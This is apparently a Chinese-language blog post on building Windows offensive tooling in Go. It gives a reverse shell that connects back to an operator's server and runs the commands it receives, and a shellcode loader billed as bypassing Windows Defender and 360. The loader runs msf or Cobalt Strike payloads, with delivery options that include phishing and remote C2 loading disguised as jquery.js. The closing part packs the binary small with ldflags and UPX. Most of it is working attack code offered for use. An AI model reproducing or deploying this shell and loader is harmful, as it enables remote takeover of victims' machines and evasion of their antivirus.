Golang Socket & ShellcodeLoader

upload successful

Windows Reverse Shell

1、net.Dial回连:

1
2
3
4
backip := flag.String("d", "127.0.0.1", "ServerIpAdddress")
backport := flag.Int("p", 1025, "ServerPort")
flag.Parse()
conn, err := net.Dial("tcp", *backip+":"+strconv.Itoa(*backport))

2、接收远程命令

1
rcmd, _ := bufio.NewReader(conn).ReadString('\n')

3、执行

1
2
func Command(name string, arg ...string) *Cmd  
out, err := exec.Command(strings.TrimSuffix(rcmd, "\n")).Output()
补充:

这样实现的一个简单的reverse shell,只能“一次性”使用。解决办法有两个:
1、添加一个死循环接受远端的命令

1
2
3
4
5
6
7
for{
....
....
rcmd, _ := bufio.NewReader(conn).ReadString('\n')
out, err := exec.Command(strings.TrimSuffix(rcmd, "\n")).Output()
...
}

2、调cmd.exe

1
cmd := exec.Command("C:\\Windows\\System32\\cmd.exe")

ShellCodeLoader ByPass WD or 360

加载功能参考:https://github.com/brimstone/go-shellcode
code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}

func Run(sc []byte) {
// TODO need a Go safe fork
// Make a function ptr
f := func() {}

// Change permissions on f function ptr
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}

// Override function ptr
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

// Change permissions on shellcode string data
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}

// Call the function ptr it
f()
}

测试了三种方法:
1、命令行传递shellcode,shellcode可用msf生成,或cobalstrike的payload(选c),适用反弹shell(rce or webshell)
2、将shellcode硬编码到程序中,会弹框,编译添加参数-ldflags="-H windowsgui",适用钓鱼,shellcode需处理。
3、远程加载(命令行):
main1.exe http://0.0.0.0/jquery.js,可在程序硬编码远程C2地址,效果如下:

upload successful
(缺点是添加了网络包net/http后程序体积很大)

1
2
3
4
5
 D:\Tools\upx-3.95-win64 的目录

11/27/2019 03:58 PM 531,456 main.exe
1 个文件 531,456 字节
0 个目录 260,310,085,632 可用字节

从测试来看方式2效率最高,也容易扩展,大小可接受,但方法3不落地。

如何精简binary体积?

1、精简代码
往往一件看似美好的事物背后总是带着点缺陷,Golang的静态编译特性运行静态无依赖,但身材却略显“臃肿”,代码分析插件:goweight(GitHub)可以帮助我们进行分析程序体积分布比例。适度减少程序依赖项,让代码更加精小,比如在完全可以去掉任何打印功能的情况下,就可以省出一个fmt大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
D:\CodeSrc\go\src\demo\sc\main>goweight
3.5 MB runtime
1.4 MB reflect
828 kB syscall
513 kB time
450 kB fmt
445 kB os
428 kB internal/reflectlite
285 kB strconv
281 kB strings
276 kB internal/poll
230 kB unicode
218 kB math
166 kB sync
160 kB internal/syscall/windows
145 kB internal/syscall/windows/registry
143 kB io
118 kB sort
50 kB internal/fmtsort
50 kB encoding/hex
43 kB internal/cpu
40 kB math/bits
27 kB unicode/utf8
27 kB errors
20 kB sync/atomic
16 kB internal/bytealg
15 kB runtime/internal/atomic
15 kB internal/testlog
12 kB runtime/internal/sys
9.0 kB demo/sc/shellcode
8.5 kB unicode/utf16
5.2 kB internal/syscall/windows/sysdll
4.2 kB internal/race
2.6 kB internal/oserror
1.7 kB runtime/internal/math

btw,写了一个通过http加载远程shellcode的功能,结果发现打包后体积太大,goweight分析结果:

1
2
3
4
5
D:\CodeSrc\go\src\demo\sc\main>goweight
3.9 MB net/http
3.5 MB runtime
1.7 MB crypto/tls
1.4 MB net

从结果可以看到http的占用率太高,那么这个功能不要也罢。
2、ldflags参数去掉符号信息、调试信息
先看看直接编译的结果:

1
2
3
4
5
6
7
8
9
10
11
x51 D:\..\..\..\..\..\main ❯❯❯ go build main.go
x51 D:\..\..\..\..\..\main ❯❯❯ ls


目录: D:\CodeSrc\go\src\demo\sc\main


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/28/2019 7:09 PM 2141184 main.exe
-a---- 11/28/2019 7:08 PM 1929 main.go

再来看添加-ldflags参数后的结果:

1
2
3
4
5
6
7
8
9
10
11
x51 D:\..\..\..\..\..\main ❯❯❯ go build -ldflags="-s -w" main.go
x51 D:\..\..\..\..\..\main ❯❯❯ ls


目录: D:\CodeSrc\go\src\demo\sc\main


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/28/2019 7:09 PM 1549312 main.exe
-a---- 11/28/2019 7:08 PM 1929 main.go

很明显带参数编译的体积要更小。
3、upx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
D:\Tools\upx-3.95-win64>upx.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95w Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

upx压缩处理的效果还是非常不错的,我们拿上面去除调试信息的exe直接压缩:

1
2
3
     File size         Ratio      Format      Name
-------------------- ------ ----------- -----------
1549312 -> 538624 34.77% win64/pe main.exe Packed 1 file.

从1.5M多压缩到500多k,nice,注意到upx有个参数“-9”,可以理解为最大程度压缩吧,对比看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
D:\Tools\upx-3.95-win64>upx main.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95w Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018

File size Ratio Format Name
-------------------- ------ ----------- -----------
1549312 -> 538624 34.77% win64/pe main.exe Packed 1 file.

D:\Tools\upx-3.95-win64>upx -9 main.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95w Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018

File size Ratio Format Name
-------------------- ------ ----------- -----------
1549312 -> 531456 34.30% win64/pe main.exe Packed 1 file.

比不带参数可以小10k左右。